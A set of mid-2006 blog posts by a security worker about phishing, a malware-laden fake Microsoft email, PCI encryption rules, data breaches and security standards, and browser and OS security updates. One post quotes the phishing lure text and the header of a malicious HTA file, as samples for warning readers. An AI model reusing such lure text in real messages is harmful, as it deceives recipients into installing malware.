Not sure how I feel about publishing this kind of stuff, but in the real world the bad guys will figure it out quickly enough anyhow, and I imagine they already have. The key to keeping this from becoming a major security event will be making sure cross-site scripting attacks cannot happen on web servers and using protective systems that catch malicious script on client machines before it gets run. Ultimately, JavaScript really needs to be revisited, but to do that probably means changing the way web sites work and coming up with a whole new standard.

JavaScript opens doors to browser-based attacks By Joris Evers
http://news.com.com/2100-7349_3-6099891.html

Malicious JavaScript embedded in a Web site can let a miscreant map a home or corporate network and attack connected devices ...

... "We have discovered a technique to scan a network, fingerprint all the Web-enabled devices found and send attacks or commands to those devices," said Billy Hoffman, lead engineer at Web security specialist SPI Dynamics. "This technique can scan networks protected behind firewalls such as corporate networks" ...

... Both SPI Dynamics and WhiteHat Security came up with the JavaScript-based network scanner at about the same time, he said. The companies plan to talk about their findings at next week's Black Hat security event in Las Vegas.

Tell me what you think, share what you know... In large part, I help catch bad guys for a living. So I have my own perspective and base of experience, but please share yours.

You may already be familiar with the term "phishing" and possibly you have a good idea of what it means. If you're not familiar with the term, you should be. Essentially, bad guys set up fake "phishing" web sites, typically by copying an online banking or other e-commerce site. The bad guys then send out emails or use other means to try to get you to visit the fraudulent web site they've set up, in hopes you'll think it's legitimate and "update" your banking or other private information there. In reality you're not communicating with the actual bank or e-commerce company at all, and you're not really updating anything - Rather, you are providing confidential identity and financial information to cyber-criminals. The bad guys then use that information to steal money, defraud you and others, and to create a new identity or leverage yours for their own gain. They're good at what they do, and the fact of the matter is, it works well enough for those who are the best in their "industry" (and it is its own micro-industry, as we'll discuss) to be motivated to make a career of it.

The general technique of convincing you via trickery to give up your private and sensitive information is called "social engineering." Bad guys act in ways that cause you think you're communicating with a legitimate business, but in reality you're being defrauded of information and - in turn - your financial and identity assets. More recently even myspace.com and similar sites have been faked, so we know these criminals are creative and go after us where we live. Whether it's a phone call from someone who sounds like a legitimate business person or a web site that looks like it's the real thing, it's all social engineering - tricking you into believing you're communicating information to a legitimate person or business when you're not.

You've likely seen emails show up in your in-box that pretend to be from ABC Bank or XYZ Credit Union. Beware any email that request information from you. The emails typically say something has happened to your account or that they;re verifying information, and you need to update your information by clicking a link to go to the bank's web site. But those emails are fakes, and so are the sites that load when you click the link. They're sent (well, spammed really) to anywhere from a few thousand to millions of people at once. Even when only a very small percentage of victims actually take the bait (hence the term phishing, eh?) , the bad guys win and come out ahead - big time.

Unfortunately, people do take the bait. I see it every single day in my work. Just the other day I dealt with a situation in which someone who provided their information to a phishing site fraudster was ripped off for $19,000. We're talking about serious stuff here... Now, when you lose money it's sometimes recoverable (but not always - you can sometimes be held responsible for giving away security secrets, after all). But if someone steals your private identifying information - things like driver's license numbers, dates of birth, social security numbers and the like - it's bad news. You're in trouble. Recovering from a stolen identity can be nearly - and oftentimes completely - impossible. You can get a couple thousand dollars back if you get tricked into giving up a password, but you can't take back your social security number once someone knows it.

You get the picture.

So, phishing is when someone sends an email and tries to get you to provide your secret information on a web site that looks like a legitimate one, but which is really just a fake copy that some bad guy controls. A lot like walking into what you think is your favorite coffee chain and walking out with a Strychnine latte, really. And on top of that, you paid the bad guy who you thought was your friendly barista $5 for it - and left a tip.

We've covered some of the basics of phishing fraud - just the first thin layer of the problem, actually. Over the course of some future posts, we'll dig a bit deeper into the details of what makes up a phishing campaign and what can be done about it. We'll also discuss pharming, spear-phishing and other cute terms that start with "ph" but which are really just about the farthest thing from cute you can imagine.

There are solid reasons for this madness that plagues the financial service and e-commerce industries. But truly understanding the problem means more than just knowing what phishing emails look like and avoiding fake sites. The fact that the sites are even there in the first place, that the email actually reaches your in-box, that you can't tell a fake site from the real one - all of these things are problems in and of themselves. To truly prevent the problem - and let's face it, prevention is the golden key here - we need to know and understand much, much more.

For instance, do you know why certain banks, credit unions and online retailers are targeted over others? Here's a hint: It's not always about how many customers they have to target or how big a name the bank is, although that can be a factor. Many of the biggest targets are credit unions with just a few thousand customers. And do you know what the phishers actually do with the information they fraudulently trick you into providing?

Do you have any idea who the bad guys are?

That's a taste of what we'll be discussing here over the next few weeks. I'll publish some of my thoughts on these topics and more. Not the secret stuff that lets us catch them, but the information consumers and institutions can use to help combat the problem. It's an opportunity to learn and share information. If you have ideas, thoughts or comments about the phishing problem, or online fraud in general, please leave a comment on this entry, or write about it on your own blog, or alternatively you can email me (but please use the comments if it's safe and reasonable to do so in order to provide the benefit to others - I tend to get a lot of emails that would be much better from a community standpoint if they were posted instead as comments). I'll leverage my own thoughts as well as the thoughts of others like you to help build parts of the future discussion. With hat tips all along the way, of course.

Microsoft made this announcement today in their Security Newsletter for Home Users. Interesting the email headline they used, since the web site actually says Win XP SP1 support is supposed to stop on October 10th. Support for Win 98 and ME were set to end today. At any rate, if you're running Windows 98 or ME, it's well past time to pack it in:

End of support for Windows 98, Windows Me, and Windows XP Service Pack 1

Effective today, Microsoft no longer provides support for Windows 98, Windows Millennium Edition (Windows Me), and Windows XP Service Pack 1. Customers can access existing support documents through the Microsoft Support Product Solution Center, but telephone and e-mail support and security updates are not available.

Looks like a new variant of an old virus is making the rounds.

I got an email tonight in my personal email account that pretended to be from Microsoft and which contained a virus in an attached ZIP file. The attachment was called "Microsoft SMS Manager.zip" and contains two files - which are packaged as a .JPG file and a .HTA file. The JPG file is actually the infected binary and the HTA file is a real HTA with malicious content to call the binary and perform some other actions. The email came from an IP at an ISP located in Asia.

Of course I didn't get infected, because I saw it as obviously fake. Microsoft will never send software or updates via email, but in the social engineering department this one is bound to fool a number of people (despite the bad grammar), so it's a good idea to get the word out. I confirmed the virus infection with Symantec's AV software client on the local machine.

Here is the info about the infected contents of the ZIP file (specifically the JPG file):

Scan type:  Auto-Protect Scan
Event:  Threat Found!
Threat: W32.Gavgent.A
File:  C:\DOCUME~1\*********\Temp\Temporary Directory 1 for Microsoft SMS Manager.zip\Product.jpg
Location:  C:\DOCUME~1\*********\Temp\Temporary Directory 1 for Microsoft SMS Manager.zip
Computer:  *******
User:  *******
Action taken:  Delete succeeded : Access denied
Date found: Saturday, July 08, 2006  11:22:31 PM

If the AV software is correct and it's actually a W32.Gavgent.A virus in this file, this is an older worm (1995) that was not too prevalent at the time. The dates on the files in the ZIP are 8/2005, so it's entirely possible this is a reuse of an older virus. The HTA file in the package is an actual HTA file, and it references "Gavgent.B" in it's contents, so it's likely this is a repackaging of the Gavgent.A variant. At this time, there is no reference to Gavgent.B at Symantec Security Response. Luckily the old Gavgent.A variant is what trips the Symantec software, so detection seems to be easy enough. Below is the header from the HTA file. The executable section contains a lot of obfuscated VBScript and an IFRAME that loads the microsoft.com site with some extra arguments on the query string.

<HTA:APPLICATION ID="GavGent.B-ID"
    APPLICATIONNAME="GavGent.B"
    CAPTION="Microsoft SMS Manager"
    SHOWINTASKBAR="yes"
    SYSMENU="yes"
    WINDOWSTATE="maximize">

This virus does the classic network worm thing and collects email addresses and spreads via the common methods. It tends to restart the computer it infects and is generally an annoying dude. It will also try to kill AV and other security processes upon execution. Details are available here.

The original email I received is below. The subject line was "SMS Manager from Microsoft."

Developer@microsoft.com wrote:

Dear Customer,
This email provides you information about new product from Microsoft
Corporation, called Microsoft SMS Manager.
These product would help your activities, you can send and receive SMS
messages through your PC with no charge before December 31, 2005 (trial
period).
It's compatible with most of GSM and CDMA operators.
The Installation's document is attached (Microsoft SMS Manager.zip).

For further informations, please contact support@microsoft.com

Best Regards,
---------------------------------------------------------------------

Microsoft Corporation
http://www.microsoft.com

The headline reads: "Credit card security rules to get update."

I see that and I think to myself, "Hey, cool."

Then I read the story.

What it should have said: "Credit card security rules that make perfect sense and protect your identity are about to be flushed right down the toilet because companies say it's too hard."

Now, that's not so cool.

Why is that? Industry requirements that were put in place not too long ago that required companies to encrypt sensitive information are going to be removed. Yes, you read that right - Removing the already established requirement to encrypt the data that is most sensitive and valuable. I'm not one who typically leans in the direction of government mandated standards, but in the absence of private self-regulation and in this particular case...

From CNET's News.com:

While security stands to benefit from a broader, another proposed change to the security rules may hurt security of consumer data, critics said. The new version of PCI will offer merchants more alternatives to encryption as a way to secure consumer data.

"Today, the requirement is to make all information unreadable wherever it is stored," Maxwell said. But this encryption requirement is causing so much trouble for merchants that credit card companies are having trouble dealing with requests for alternative measures, he said.

In response, changes to PCI will let companies replace encryption with other types of security technology, such as additional firewalls and access controls, Maxwell said. "There will be more-acceptable compensating and mitigating controls," he said.

The Payment Card Industry (PCI) security standard was developed to improve the security of applications processing credit card transactions. In the best-practices world of layered security, we deploy security in multiple locations and in different parts of the lifecycle. We even get redundant, especially in areas that matter the most.

To think that more firewalls can protect data in a way that makes it unnecessary to encrypt is ridiculous. Encryption protects data from theft when other layers are compromised. It keeps data safe even from internal theft (and trust me, that's at least as common as external theft, often even more so). It means - if done correctly - that even is a server is stolen from a datacenter,  the bad guys still cannot get at the information that's stored in a secured form on the machine. Keeping people out is important, but encryption is about the bad guys that already got in. So let's can the firewall arguments, although perimeter security is still a critical thing to deploy.

Scanning software to make sure you cover the threats and reduce the chance of successful attack is a good thing - but having people analyze it with eyeballs is significantly better. Scanning software only finds the low hanging fruit that is exposed on the outside layers and only finds the things we already know about. It provides no mechanism for creative scrutiny and under-layer analysis. It doesn't account for finding the new threats and vulnerabilities. Those things take active brains and connected eyeballs. It's what I don't know how to detect that will kill me in this case. It's the holes I can't see today, but which will be all too obvious tomorrow. So let's drop the "build secure software" argument as an alternative to encryption, although it's still an important thing to do.

Ultimately, cutting out the data encryption requirements will make it easier for companies that do transactions - by trading off the security of sensitive, personal information. It comes at our expense. It's a bad idea. And you should do something about it.

It's not easy to do 99% of what makes up my job, and it's not always fun. Security is hard. It's not really supposed to be easy. But I do it because it's necessary and right. The identity of users is the proverbial gold and crown jewels of this real-life game. It's not about protecting institutional assets - it's all about protecting individual people's identities.

To be concise: Removing the encryption requirement is a fundamentally bad idea that will hurt real people in the real world. Especially in this day and age of identity theft and with the endless news stories covering data loss and theft where the data is vulnerable specifically because it's not encrypted, I'm rather shocked by the decision. It's another example of where doing what's right falls victim to doing what costs less and reduces complaints.

It's time to stand up for what's right for security. First of all, as a business you should not be storing any personal information that's not absolutely necessary and that I have not specifically told you I want you to store for me.  Protection of the personal information you do store is your responsibility, but I own it. Encryption of my sensitive information in your systems should be a requirement, not a nice-to-have or a convenience-based suggestion.

Period.

A coworker sent me a link to a news article today, yet another one about a data breach from - you guessed it - a stolen laptop. This one was an auditor working for Ernst & Young and doing an audit of Hotels.com, and apparently the auditor (and I can't believe this) left it in his or her car and it was broken into and stolen.

So now, thousands of Hotels.com customers' personal data - meaning names, addresses and credit card information of about 243,000 people - is potentially in the hands of someone who could use it improperly. Oh, and by the way, my name is certainly on that list.

Up until today I was frustrated to no end with these events.

Now it's personal. Now I'm angry.

And get this: The theft occurred in February and Ernst & Young didn't notify Hotels.com until the first week of May. What??? And on top of that, customers were not notified until a few days ago. You've got to be kidding me...

This post contains some useful information about data breaches, packaged with a bit of a rant by yours truly about information security - or the serious lack thereof - in US companies and institutions. As a reminder, what I post here is my own opinion and not that of my employer or anyone else. I work in information and cyber security, and I care - a lot - about these issues.

There's a major attitude problem - let's call it a lackadaisical mentality - out there and it's high time someone did something about it. Lazy security means lots of helpless victims, and we're so far behind the 8-ball as a country it's downright scary. There's a fundamental "people problem" at the root of this, and no matter how much technology we throw at it, the analog physical and human components need to be addressed before any of the technical issues can be resolved.

The Privacy Rights Clearinghouse maintains an online chronology of data breaches with descriptions of each event, outlining any known data breaches that have occurred since February, 2005.

All told, as of the time I write this, there are 84,797,096 individuals whose identities are known to have been included in these data breaches. Banks, universities, health care providers, insurance companies, corporations, credit card providers... Lord only knows about the ones that have not been reported. Ugh, it's depressing. It's also ridiculous.

What bothers me the most is how often the term "stolen laptop" shows up in the list. What in the world are people doing with sensitive information stored on computers that can walk out the doors of all of these heavily regulated companies and institutions? It's insane from a security management perspective.

But then again, let's take a look at just how many US banks, universities, health care providers, insurance companies, corporations and credit card providers are certified under some kind of recognized information security management standard. Let's take the big standards - BS 7799-2 and ISO 27001 - for example.

BS 7799-2:2002 (in this case, the "BS" stands for "British Standards") has long been the recognized standard for overall security management, and the new ISO/IEC 27001:2005 international standard is basically BS 7799-2:2002 in an updated form. It's also related to ISO 17799, since we're throwing around fancy names. Ultimately it's all the same stuff, just renamed and reassigned. The 27001 standard represents a systematic approach to managing sensitive information so that it remains secure. It encompasses people, processes and IT systems.  It is used to determine and evaluate a company's security management framework and is internationally recognized as the gold standard for security.

If a company doesn't have a security management framework in place, not only is it unaware of what's happening in it's own walls, it doesn't really know whether or not it knows much of anything. Yeah, that's confusing. What you don't know is what will most likely kill you. Either way, it's negligent in this day and age not to be formally on top of information security, and that involves not just firewalls and technology, but risk assessments, people, processes, and an over-reaching management framework to ensure all the bases are covered.

Did he say "negligent?" Yes, negligent. And I mean it.

It's a lot of work to achieve and maintain the 7799/27001 certification and to hold up to ongoing audits, to be sure (just ask me or my coworkers about it some day, we live it), but it's not rocket science and for gosh sakes, IT'S IMPORTANT. And it's not about the actual certificate, it's about all the things that go into the process of getting the certificate and keeping it.

So, if you had to hazard a guess, how many agencies, institutions and companies in the United States do you think have this important and recognized certification?

Be prepared to be disappointed. Especially when compared to the number of certified organizations in other countries, like say Japan and India and Korea. Or pretty much any other developed country, for that matter. It's really quite pathetic.

Of the 2600+ organizations on the certificate register, there are only seven  (yes, that's "7") companies or organizations in the entire United States certified under ISO 27001, and only 39 have been certified in the US under BS 7799-2 and ISO 27001 combined. Keep in mind, there's overlap on the lists, as a number of companies (like ours) have converted from the British Standard cert to the ISO 27001 model, meaning we've been certified twice.

This table shows how many organizations are certified under either ISO 27001 or BS 7799-2 as of June 5, 2006. The term "organization" can mean any one of several things: companies, portions or divisions of companies, agencies, or various other other entities. I've left off most of the countries that have only one certified organization to save space.

Japan	1602	Brazil	9	Slovenia	2
UK	244	Sweden	8	South Africa	2
India	186	Spain	7	Armenia	1
Taiwan	92	Turkey	7	Bahrain	1
Germany	57	Iceland	6	Chile	1
Italy	42	Greece	5	Egypt	1
USA	39	Kuwait	4	Lebanon	1

And of the US companies, agencies and organizations on that list, only one of them is a bank (and even then it's only the information security team's component of the business). None of them are credit unions. None of them are insurance companies. None of them are health care providers. One of them is a university. A couple are government agencies - and not the same ones that have been in the news lately, that's for sure.

If you think about it (or search for it, for that matter), how often do you hear about information disclosure outside the United States? Sure, it happens, but seemingly not nearly as often. And why is it, I wonder, that in Japan there are so many certifications? ISO 9000 (the gold standard for manufacturing) is huge there, as well. 

The fact of the matter is that overall, companies and institutions in the US don't take security nearly seriously enough.

So - It's time to do something about this. Now, not tomorrow. It's already much too late, so we need to get moving. We're already in triage mode, friends.

What to do? To start, if you do business with any company that handles sensitive individual data, ask them about their security certifications. And don't accept just a SAS-70 certification as covering the bases - it only covers operations of the datacenter and has practically nothing to do with the rest of the company. Also, make sure you know specifically what any issued certifications actually cover - this is called the "scope" of the certification. Is it the entire company (usually it's not so you have to ask), or is it just a department or division? If the company is not formally certified, do they have a security management framework and a standard they follow?

Also, this is formal security management we're talking about. Don't accept lame responses like "we're covered under HIPPA" or "we get audited for Sarbanes-Oxley so that's all covered..." Sorry, that doesn't come close to cutting it. Neither of those auditing standards require a company to have a security management system in place, and neither come close to covering what's needed to ensure proper security standards are met outside of their narrowly focused scopes.

Get educated. Find out what needs to change. Demand change. Question systems that put the secrets in the hands of people who don't have a personal stake in the game. Do business wherever possible only with companies that are cognizant enough of security to formalize their program on a standard framework and which preferably have external certification of the results of that effort. I'm not kidding here. And yes - it can be done.

Unless you have a better idea (and feel free to share - comment away), that's what it will really take to create change - Market forces. We certainly can't count on the government to do anything about it - they'll just come up with vague, useless legal acts that almost always miss the mark and cost the business sector billions (take SARBOX for example). Individual action and demanding that companies get serious - and that they do so in a manner where they can be formally reviewed and held accountable - is the best real-world way to force change.

Not able to register and sign up for college classes and hike on down there to learn some useful crypto skills? No problem. The University of Washington's crypto course is available online for anyone to access. And this is some truly decent content.

Practical Aspects of Modern Cryptography - course description

The full semester of class content is available online - slides, video of each class session, audio in MP3 format (there's even a podcast link) - great stuff. You'll spend some real time working through the class presentation, which means you'll be spending the time it takes to actually learn the content.

By far the best way to view the content online is with a special app you can download from the UofW web site for free. If you install their WebViewer application you can get the video and slides and instructor annotations playing all together in one nifty package. Quite excellent since they teach with - get this - a Tablet PC in real time. It's kind of like Monday Night Football for geeks. Heh.

There's a whole slew of math and number crunching stuff in the first class sessions, but it's information that is fundamental to a complete understanding. Then the instructors move into protocols and more practical, real-world applications.

There's a TON of presentation content here. Anyone who wants to learn about cryptography for real will likely find this worthwhile. Kudos to the instructors and the University of Washington for providing this online class content. We need more complete educational stuff like this on the web. Like MIT's OpenCourseWare. Excellent.

(via Digg)

Steve Knopper took a new Dell computer and spent 18 days infecting it with all the malware and viruses he could get his hands on. His account if the whole thing is published at Wired.

"What kind of idiot buys a computer and willingly – even eagerly – exposes it to all the malware and viruses he can? Me. I bought a Dell Dimension B110 ($468! Cheap!) and tried to kill it for more than two weeks. I clicked on every pop-up and downloaded the gnarliest porn, gambling, and hacker files I could find."

And then he returned it to Best Buy on the 18th day. Classic. Read Steve's account here.

Recently I've been speaking with a lot of reporters and other media-types about the work we at Corillian do on financial services security. It's fun to be taken back to my old journalism days, and I've come to find there are a lot of very smart people out there working the security technology beat. In addition to speaking to the media, I've also been presenting in person at a number of conferences, and have quite a few more coming up over the next several months.

I recently had a chance to speak with one reporter to discuss the state of the industry in terms of online financial services and recent FFIEC mandates on banks to implement strong authentication for their online banking web sites. Eric Norlin is well-known to many, and he writes for some well-respected publications, including Digital ID World and on ZDNet.com. We talked about the risk management components that go into deciding how to solve the authentication problem. The strong authentication software we build at Corillian uses a risk-based model, and Norlin's approach to the story is (I think) spot-on, especially his recognition of the need for an identity-first/identity-risk mechanism:

"Corillian is one of those interesting companies that you hardly ever hear about: several hundred financial institutions as customers; running back-end financial industry specific software; aware of all of the stringent requirements of financial institutions. So, its not like Corillian is just "getting into the game," its more like they're adding to an already deep bench. They're adding their Intelligent Authentication product.

"The interesting thing about Intelligent Authentication is that it begins by recognizing the risk management approach to strong authentication. Accordingly, it uses a variety of methods to authenticate you based upon the interaction (or transaction) that you're having. These methods include: client OS and browser checks, behavioral pattern analysis, geo-location (via a partnership with Quova), challenge and response questions (chosen by the customer), and my favorite - out of band phone authentication (via a partnership with StrikeForce)."

(Link to Eric Norlin's story on ZDNet.com)

He also noted that we at Corillian have already done some early, in-depth work in conjunction with Microsoft integrating a new authentication technology code-named InfoCard, which places the control, proof and credentials used in the authentication process back in the user's hands (in other words, right where they belong) while also helping to solve weak authentication problems. What I especially like about InfoCard is the community support and open-ness, as well and the user/identity-centric approach, which ties directly to Kim Cameron's Laws of Identity and the concept of the Identity Metasystem (an interoperable architecture for identity on the Internet). The security model on the desktop (it will run in Windows XP and 2003 Server and will also ship in Windows Vista) is also very interesting and encouraging. It will be quite interesting to see how, where and when InfoCard is adopted. I'll be speaking and writing here about InfoCard more in the future.

What rolls out on day-one with more than 300 million users and nearly a BILLION authentications per day?

The new Windows Live ID, that's what. And that's exactly what happened, while you were using it and going about your daily business.

Microsoft's completed the roll-out of Windows LiveID to replace its Passport network infrastructure. It was all happening behind the scenes recently, and the next steps are for Microsoft and its partners to start rolling out some of the new technologies - some of which you can see and some of which is under the covers - to show off and leverage the new service.

"You'll start to see the new sign-in experience and all the goodness within a few weeks when we light up some partners," said Trevin Chow, Lead Program Manager on the Windows LiveID team.

So, what exactly is LiveID?

Well, you can read a whitepaper that was recently published to get all the salient details, but basically it's a new component in the Identity Metasystem that replaces Passport. It will eventually support both self-issued and third-party managed/issued InfoCards as credentials, and a SDK will be available.

What this all means is that Passport has grown up, and control of personal information will be more and more in the hands of the end users. In the future, Live ID will leverage InfoCards, which means more individual control of the claims used to identify users to online apps. Participation in the Identity Metasystem and following it's governing standards - the Laws of Identity - mean end users can leverage a centralized service but still maintain control over - and make decisions about - what specific information is sent to what services.

It's good news. Check out http://login.live.com - you'll notice the new footer on the signin section.

Chris Corio, a program manager on the Windows Security team, has put together an article for the May/June 2006 issue of TechNet Magazine that takes a first look at the new security features that will be included in Windows Vista. Items covered in the article are:

• User Account Control
• Consent and Credentials
• Code Integrity
• Data Encryption
• Application Isolation
• Data Redirection
• Cryptography
• Credential Providers
• Service Hardening
• Windows Defender
• Rights Management Services

It's a good summary all in one place of many of the security improvements that will be built into or will ship with the new OS. From reduced privileges to improved use of strong cryptography and other new features, Vista looks like it will be a major step forward in the Windows security world - a welcome set of core changes.

Read the article here.

If you run Firefox (or other Mozilla software based on the same codebase like Thunderbird) and have not upgraded it to the latest version (the latest Firefox - 1.5.0.2 - was released just last week), CERT says you really really need to.

From ZDNET:

"CERT advises people who use Mozilla's e-mail software, Thunderbird, and the Internet application suite Seamonkey to also upgrade to the latest versions (Thunderbird 1.5 and Seamonkey 1.0.1). CERT warned that any other products based on older Mozilla components, particularly the Gecko rendering engine, may also be affected.

"Firefox has traditionally been seen as being more secure than other Web browsers such as Microsoft's Internet Explorer. This is thought to be the first time that multiple vulnerabilities have been reported in Firefox and the Mozilla suite.

"Secunia warned that hackers could exploit the security holes to gain control of computer systems, conduct phishing attacks, and bypass security restrictions.

"One error that occurs in Firefox would allow arbitrary JavaScript code to be injected into Web pages as they load."

Users of Firefox can typically just click on the Firefox "Help" drop-down menu and then choose the "Check for Updates" option to see if they are running the latest version. If your version of Firefox does not have this option, you know you're way out of date and you should visit http://getfirefox.com right now and download the newest version ASAP.

Also, of use to corporate IT people is the Firefox Community Edition package from FrontMotion that includes features to do MSI installs and leverage associated Active Directory ADM files to manage Group Policy security functionality in Windows domains. Companies using this package can apply the patched versions in an automated, simpler and reliable fashion. Larger organizations that don't use such a package have to deal with either a more complicated update process or reliance on end users to perform the updates - which is never 100% successful, even in the smallest shops. Version-wise, it's important to note that FrontMotion's MSI installers tend to lag a bit behind the Firefox official releases (when a new FireFox release is issued, the FrontMotion crew uses it to create the new MSI installers and ADM files), so keep this in mind when deciding how to deploy.

I work in the security field (we build anti-fraud and authentication software and services for financial services and electronic commerce companies like banks, etc). Recently I've been asked by a significant number of people why certain banks are being phished in such large volumes. Now, while I don't write about specific financial institutions or security events (that would not be appropriate), I can tell you that any given bank has little to no control over whether or not it is made a target in the first place. All the big banks (and many tiny ones) get hit hard at some point. What they do have control over is their chosen prevention, mitigation and response plans and methodologies.

In the end, the most effective solution is the fairly simple one: Make it hard enough for the fraudsters and eventually they will move on to another bank. Stopping phishing and other online fraud is really just like everyday police work - It's not actually about ending crime, it's about making it go elsewhere. In the real world, the cops just push the burglars, drunks and drug dealers to someone else's town. We don't solve these problems, we just move them somewhere else.

So, eventually the scammers' targets and victims change. The real problem with online fraud is that we can't put an end to it with infrastructure technology they way it is now. We can get way out in front of it (where I work, we write software that can help prevent most phishing attacks from being launched in the first place, as well as strong authentication software to help stop bad guys from getting in the door even if they have a key). But it's way too easy to run a phishing scam, and prosecution is not an effective solution. Prevention is the way to go, and that means diligence on the part of financial institutions, using the right kinds of technology where needed, and a implementing a whole-community effort to stop the problem before it ever gets started. Tools are out there to let the bank get in front of the problem, and but it off at the knees before the crime occurs - a lot like stopping the bank robber well before he walks into the bank's branch office. Preventing the robbery is a lot less messy than cleaning up afterwards, explaining it to everyone, and trying to convince your customers that have just been held hostage not to leave your bank for another one.

Email is, as designed, one significant part of the problem we face. It's just too easy to abuse. Without getting too far into the whole "email-limitation" debate (Sidebar: When I spoke at a security conference last week one attendee tried to lure me into taking a political position on whether charging to send each email is a good idea... Heh, no I think not...), it's clear at least that there are many problems with the medium. Educating people not to respond and not to click on links will not solve the problem, as has been proven time and time again. Email is an  insecure method of information transport, and unless access can somehow be reasonably curtailed, this problem won't go away. The real question is, can email be restricted for bad guys while still keeping it free and in the spirit of the open Internet for everyone else? If so, how? Something tells me the debate and answers have not changed much over the years.

Ah, what the heck, let's just kill email completely. Block port 25 at the backbone routers. It's a counter-productive way to communicate much of the time anyhow. Imagine all the misunderstandings we'd avoid. The tangible and intangible benefits would be many. :)

But seriously, in the real world, there are three basic approaches to tackling this problem (phishing and cyber-fraud) if you're a financial institution. I'll mention them here briefly, and will likely dive into them in more detail in another post sometime soon:

• Option One - Purely Reactive Posture - Apologize to customers when they call and tell you there's a problem, refund their accounts, change their passwords for them, hope they don't leave you for another bank.
• Option Two - Hybrid Reactive Posture - Watch for phishing emails and when you see them, use technology to block them and see if the sites in the emails are real, and if so try to get them taken down, either on your own or through a professional take-down service. Apologize to less customers, and hopefully change their passwords before the bad guys get into the accounts.
• Option Three - Preemptive Approach - Prevent the fraud attack from being launched in the first place, shut down fraudulent sites before the victims receive an email, make it difficult for the attackers, and protect your customers from being victimized at all.

Which option do you think is best? Which posture do you expect your bank to adopt? For my part, I vote for leveraging all three options, with a strong primary emphasis on Option Three, where prevention is the main focus. That's the area where I spend the majority of my professional time, with a team of developers and forensic techies who build software that prevents attacks and gives banks what they need to protect customers from becoming victims. It's a worthwhile job.